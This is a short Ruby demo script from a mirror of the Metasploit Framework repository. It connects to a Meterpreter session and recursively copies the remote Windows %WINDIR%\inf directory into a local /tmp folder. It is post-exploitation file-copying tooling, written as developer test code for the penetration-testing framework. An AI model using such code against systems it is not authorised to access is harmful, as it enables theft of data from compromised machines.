1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00
metasploit-framework/dev/meterpreter/demo_mirror_dir.rb
Matt Miller 28195abe63 directory mirroring
git-svn-id: file:///home/svn/incoming/trunk@2417 4d416f70-5f16-0410-b530-b9f4589650da
2005-04-18 03:56:29 +00:00

16 lines
308 B
Ruby
Executable File

#!/usr/bin/ruby -I. -I../../lib
require 'DemoClient'
host = ARGV[1] || '127.0.0.1'
port = ARGV[2] || '12345'
dir = ARGV[3] || "%WINDIR%\inf"
client = DemoClient.new(host, port).client
begin
Dir.mkdir('/tmp/mirror_demo')
rescue
end
client.fs.dir.download('/tmp/mirror_demo', '%WINDIR%\inf', true)